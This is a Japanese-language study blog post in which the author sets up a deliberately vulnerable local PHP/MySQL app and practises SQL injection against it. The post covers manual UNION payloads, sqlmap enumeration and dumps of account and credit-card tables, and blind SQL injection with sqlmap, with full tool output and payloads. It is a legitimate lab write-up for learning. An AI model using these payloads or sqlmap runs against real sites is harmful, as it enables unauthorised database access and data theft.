脆弱性のお勉強:SQLインジェクション攻撃
SQLインジェクションの勉強をしていたら、初めて聞く手法があったので備忘録とする。 SQLインジェクションと一口に言っても、よく聞く通常の「SQLインジェクション」と「ブラインドSQLインジェクション」という2つのインジェクションがあるらしい。特にブラインドSQLインジェクションはbooleanしか返さない状況でも情報漏洩するというから大変興味深い。
環境構築
何はともあれ、攻撃するためには脆弱なWebアプリが必要となるので、勉強がてらPHPを使ってみた。 Docker化はまだしてないけど、以下の手順で環境をセットアップする。
IntelliJ IDEA上でPHPのセットアップ
MySQLをインストール
$ brew install mysql@5.7
MySQLサーバー起動
$ brew services start mysql@5.7
MySQL初期設定
$ cd /usr/local/Cellar/mysql@5.7/5.7.22/bin/ $ ./mysql_secure_installation Securing the MySQL server deployment. Connecting to MySQL using a blank password. VALIDATE PASSWORD PLUGIN can be used to test passwords and improve security. It checks the strength of password and allows the users to set only those passwords which are secure enough. Would you like to setup VALIDATE PASSWORD plugin? Press y|Y for Yes, any other key for No: y There are three levels of password validation policy: LOW Length >= 8 MEDIUM Length >= 8, numeric, mixed case, and special characters STRONG Length >= 8, numeric, mixed case, special characters and dictionary file Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG: 0 Please set the password for root here. New password: password Re-enter new password: password Estimated strength of the password: 50 Do you wish to continue with the password provided?(Press y|Y for Yes, any other key for No) : y By default, a MySQL installation has an anonymous user, allowing anyone to log into MySQL without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? (Press y|Y for Yes, any other key for No) : n ... skipping. Normally, root should only be allowed to connect from 'localhost'. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? (Press y|Y for Yes, any other key for No) : n ... skipping. By default, MySQL comes with a database named 'test' that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? (Press y|Y for Yes, any other key for No) : n ... skipping. Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? (Press y|Y for Yes, any other key for No) : y Success. All done!
接続確認
$ ./mysql -uroot -p Enter password: password Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 10 Server version: 8.0.11 Homebrew Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 4 rows in set (0.01 sec)
脆弱アプリのクローン&実行
SQLインジェクション
アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。
SQL インジェクション攻撃は、ウェブアプリケーションの一般的な設計上の欠陥を悪用して行われ、サイバー攻撃の容易かつ効果的な手法であり続けています。 SQL インジェクションは今やハッカーがウェブサイトの侵害に使用する主な攻撃ベクトルであり、組織にとっての深刻なデータベースセキュリティの問題となっています。 シリア電子軍のようなハクティビストのグループは、自動化された SQL インジェクション攻撃ツールを使用してオンライン資産に対する破壊および潜入行為を行い、マルウェアを拡散することで知られています。 SQL インジェクション攻撃 | アカマイ
手動によるSQLインジェクション
脆弱Webアプリを使って、SQLインジェクションによる情報漏洩を実践してみる。 簡素だがアカウントの検索画面を用意してみたので、以下のURLにアクセスする。
http://localhost:8080/sqlinjection/q1.php
登録されたユーザ名・パスワードと一致した場合にアカウント情報を表示している。
今回はゲスト用にguest/guest
を用意している。
まずはじめに、アカウント検索画面にSQLインジェクションの脆弱性があるかを確認してみる。ここで大事なのは、どのようなSQLが組み立てられるのかをある程度推測してみること。今回はWHERE name = 'xxx' and password = 'yyy'
のような SQLが 組み立てられるのではないかと推測。早速、ユーザ名のところに' or 'a' = 'a' #
というような形式で、全てのデータが取得できるような文字列を入力してみる。
検索の結果を見ると、入力した文字列がSQLの一部として解釈されているので、脆弱性があることがわかる。
脆弱性があることがわかったので、データベースにはどんなテーブルが存在しているのか取得してみる。
今回の脆弱アプリでは、account
とcredit_card
という個人情報を含んでいそうなテーブルが存在している。
' or 'a'='a' UNION SELECT table_name,2 FROM information_schema.tables #
account
テーブルは、検索結果としてほぼ出てしまってるので、credit_card
テーブルのデータを確認するために、どのようなカラムが存在しているかを取得してみる。結果を見てみると、name
card_number
というカラムを持っていることがわかる。
' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'credit_card' #
持っているカラム名までわかったので、最後にカード番号を取得してくる。 脆弱アプリから情報が漏洩したことがわかる。
' UNION SELECT name, card_number FROM credit_card #
sqlmapによるSQLインジェクション
上の流れで、一個一個手入力でSQLを入力して情報を取得していったが、sqlmapというSQLインジェクション用のツールが存在しているため、 次はsqlmapを使ったSQLインジェクションを実践してみる。sqlmapを使うためには、burpsuiteなどを使いやりとりされているパラメータを予め調べておく必要がある。ここで一つ気をつけたいのは、パラメータにセットする値は適当な値ではなく、検索にヒットする値を設定するべき。
$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest"
実行するとパラメータに脆弱性(POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N])があることがわかる。
___ __H__ ___ ___[(]_____ ___ ___ {1.2.6#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:49:42 [00:49:42] [INFO] testing connection to the target URL [00:49:42] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [00:49:42] [INFO] testing if the target URL content is stable [00:49:43] [INFO] target URL content is stable [00:49:43] [INFO] testing if POST parameter 'name' is dynamic [00:49:43] [WARNING] POST parameter 'name' does not appear to be dynamic [00:49:43] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable [00:49:43] [INFO] testing for SQL injection on POST parameter 'name' [00:49:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [00:49:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [00:49:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [00:49:43] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [00:49:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [00:49:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [00:49:50] [INFO] target URL appears to be UNION injectable with 2 columns [00:49:50] [INFO] POST parameter 'name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y [00:49:52] [INFO] testing if POST parameter 'password' is dynamic [00:49:52] [WARNING] POST parameter 'password' does not appear to be dynamic [00:49:52] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable [00:49:52] [INFO] testing for SQL injection on POST parameter 'password' [00:49:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [00:49:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [00:49:53] [INFO] POST parameter 'password' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable [00:49:53] [INFO] checking if the injection point on POST parameter 'password' is a false positive POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests: --- Parameter: password (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: name, type: Single quoted string (default) [1] place: POST, parameter: password, type: Single quoted string [q] Quit > 0 [00:49:58] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [00:49:58] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 00:49:58
脆弱性があることがわかったので、データベースの一覧を取得する。
$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" --dbs
___ __H__ ___ ___[.]_____ ___ ___ {1.2.6#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:53:51 [00:53:51] [INFO] resuming back-end DBMS 'mysql' [00:53:51] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: name, type: Single quoted string (default) [1] place: POST, parameter: password, type: Single quoted string [q] Quit > 0 [00:53:53] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [00:53:53] [INFO] fetching database names available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] sql_injection [*] sys [00:53:53] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 00:53:53
今度はテーブルの一覧を取得してみる。お目当のcredit_card
テーブルはsql_injection
データベースにあるため、データベースを指定して実行する。
account
credit_card
と該当するテーブルが2つあることがわかる。
$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --tables
___ __H__ ___ ___[,]_____ ___ ___ {1.2.6#stable} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:55:39 [00:55:40] [INFO] resuming back-end DBMS 'mysql' [00:55:40] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: name, type: Single quoted string (default) [1] place: POST, parameter: password, type: Single quoted string [q] Quit > 0 [00:55:41] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [00:55:41] [INFO] fetching tables for database: 'sql_injection' Database: sql_injection [2 tables] +-------------+ | account | | credit_card | +-------------+ [00:55:41] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 00:55:41
最後に、これらのテーブルからデータをダンプしてみる。今回はテーブル指定のオプションを抜いているが、-T credit_card
などで、
テーブル名を指定することも可能。実行すると、先ほどと同じようにデータが漏洩することが確認できた。
$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --dump
___ __H__ ___ ___[)]_____ ___ ___ {1.2.6#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:57:03 [00:57:04] [INFO] resuming back-end DBMS 'mysql' [00:57:04] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: password (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: name, type: Single quoted string (default) [1] place: POST, parameter: password, type: Single quoted string [q] Quit > 0 [00:57:05] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [00:57:05] [INFO] fetching tables for database: 'sql_injection' [00:57:05] [INFO] fetching columns for table 'account' in database 'sql_injection' [00:57:05] [INFO] fetching entries for table 'account' in database 'sql_injection' Database: sql_injection Table: account [2 entries] +-------+-----------+ | name | password | +-------+-----------+ | admin | admin001# | | guest | guest | +-------+-----------+ [00:57:05] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv' [00:57:05] [INFO] fetching columns for table 'credit_card' in database 'sql_injection' [00:57:05] [INFO] fetching entries for table 'credit_card' in database 'sql_injection' Database: sql_injection Table: credit_card [1 entry] +-------+----------------+ | name | card_number | +-------+----------------+ | admin | 1111-2222-3333 | +-------+----------------+ [00:57:05] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv' [00:57:05] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 00:57:05
sqlmapによるブラインドSQLインジェクション
ブラインドSQLインジェクションという言葉を初めて聞いたので調べてみると、以下のような状況で使えるSQLインジェクションらしい。
ブラインドSQLインジェクション攻撃は、SQLインジェクション攻撃の一種である。ブラインドSQLインジェクション攻撃は、SQLインジェクション脆弱性はあるが、SQLの検索結果が表示されない場合に用いる。ブラインドSQLインジェクション攻撃によってえられる情報は1ビットしかないので、まとまった情報を得るには、何回も攻撃する必要がある「ブラインドSQLインジェクションとは何ですか?」への回答 - 徳丸浩のtumblr
脆弱Webアプリを使って、ブラインドSQLインジェクションによる情報漏洩を実践してみるが、結果としてbooleanを返すだけの画面から情報を取得するためには、テーブル名の一文字目の値は「a-z」のどれか、二文字目の値は「a-z」の・・・・というように、1bitの答えを何回も繰り返して問い合わせることによって、情報を取得する手法のため、sqlmapを使って機械的に実行する。
http://localhost:8080/sqlinjection/q2.php
脆弱アプリで用意した画面では、アカウントの存在確認だけが可能となっている。試しにユーザ名を入力して見ると、存在するユーザと存在しないユーザで表示が切り替わるだけである。
アカウントがある場合:
アカウントがない場合:
やっぱり画面だけを見ると情報漏洩のさせようがなさそうだが、ブラインドSQLインジェクションを使うと漏洩させることができる。
脆弱性があることは既にわかっている前提で、sqlmapを使ってやってみる(ユーザのホーム配下にある/Users/user.name/.sqlmap/output
を削除しておく)
まずはデータベース一覧の取得からやってみると、「yes/no」しか返さないページだったがどのようなデータベースがあるか返ってきている。
$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" --dbs
___ __H__ ___ ___[,]_____ ___ ___ {1.2.6#stable} |_ -| . ["] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:04:01 [01:04:01] [INFO] testing connection to the target URL [01:04:01] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [01:04:01] [INFO] testing if the target URL content is stable [01:04:02] [INFO] target URL content is stable [01:04:02] [INFO] testing if POST parameter 'name' is dynamic [01:04:02] [WARNING] POST parameter 'name' does not appear to be dynamic [01:04:02] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable [01:04:02] [INFO] testing for SQL injection on POST parameter 'name' [01:04:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [01:04:02] [WARNING] reflective value(s) found and filtering out [01:04:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [01:04:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [01:04:02] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [01:04:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [01:04:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [01:04:06] [INFO] target URL appears to be UNION injectable with 2 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [01:04:08] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests: --- Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB --- [01:04:09] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [01:04:09] [INFO] fetching database names [01:04:09] [INFO] used SQL query returns 6 entries [01:04:09] [INFO] retrieved: information_schema [01:04:09] [INFO] retrieved: mysql [01:04:09] [INFO] retrieved: performance_schema [01:04:09] [INFO] retrieved: sql_injection [01:04:09] [INFO] retrieved: sql_injection2 [01:04:09] [INFO] retrieved: sys available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] sql_injection [*] sys [01:04:09] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 01:04:09
テーブル一覧を取得してみる。先程と同じようにaccount
とcredit_card
テーブルが取得できる。
$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --tables
___ __H__ ___ ___[)]_____ ___ ___ {1.2.6#stable} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:05:38 [01:05:38] [INFO] resuming back-end DBMS 'mysql' [01:05:38] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB --- [01:05:38] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [01:05:38] [INFO] fetching tables for database: 'sql_injection' [01:05:38] [INFO] used SQL query returns 3 entries [01:05:38] [INFO] retrieved: account [01:05:38] [INFO] retrieved: credit_card [01:05:38] [INFO] retrieved: flag Database: sql_injection [2 tables] +-------------+ | account | | credit_card | +-------------+ [01:05:38] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 01:05:38
最後にデータの取得もしてみると、データの取得も同じようにできてしまった(credit_card
テーブルからの取得値は若干おかしいが、できてはいる)
$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --dump
___ __H__ ___ ___[(]_____ ___ ___ {1.2.6#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 01:06:37 [01:06:37] [INFO] resuming back-end DBMS 'mysql' [01:06:37] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: name (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB --- [01:06:37] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.0.27 back-end DBMS: MySQL >= 5.0 [01:06:37] [INFO] fetching tables for database: 'sql_injection' [01:06:37] [INFO] used SQL query returns 3 entries [01:06:37] [INFO] resumed: account [01:06:37] [INFO] resumed: credit_card [01:06:37] [INFO] resumed: flag [01:06:37] [INFO] fetching columns for table 'account' in database 'sql_injection' [01:06:37] [INFO] used SQL query returns 2 entries [01:06:37] [INFO] retrieved: name [01:06:37] [INFO] retrieved: varchar(50) [01:06:37] [INFO] retrieved: password [01:06:37] [INFO] retrieved: varchar(50) [01:06:37] [INFO] fetching entries for table 'account' in database 'sql_injection' [01:06:37] [INFO] used SQL query returns 2 entries [01:06:37] [INFO] retrieved: admin [01:06:37] [INFO] retrieved: admin001# [01:06:37] [INFO] retrieved: guest [01:06:37] [INFO] retrieved: guest Database: sql_injection Table: account [2 entries] +-------+-----------+ | name | password | +-------+-----------+ | admin | admin001# | | guest | guest | +-------+-----------+ [01:06:37] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv' [01:06:37] [INFO] fetching columns for table 'credit_card' in database 'sql_injection' [01:06:37] [INFO] used SQL query returns 2 entries [01:06:37] [INFO] retrieved: name [01:06:37] [INFO] retrieved: varchar(50) [01:06:37] [INFO] retrieved: card_number [01:06:37] [INFO] retrieved: varchar(50) [01:06:37] [INFO] fetching entries for table 'credit_card' in database 'sql_injection' [01:06:37] [INFO] used SQL query returns 1 entries [01:06:37] [INFO] retrieved: 1111-2222-3333 [01:06:37] [INFO] retrieved: admin Database: sql_injection Table: credit_card [2 entries] +----------------+----------------+ | name | card_number | +----------------+----------------+ | 1111-2222-3333 | 1111-2222-3333 | | admin | admin | +----------------+----------------+ [01:06:37] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv' [01:06:37] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost' [*] shutting down at 01:06:37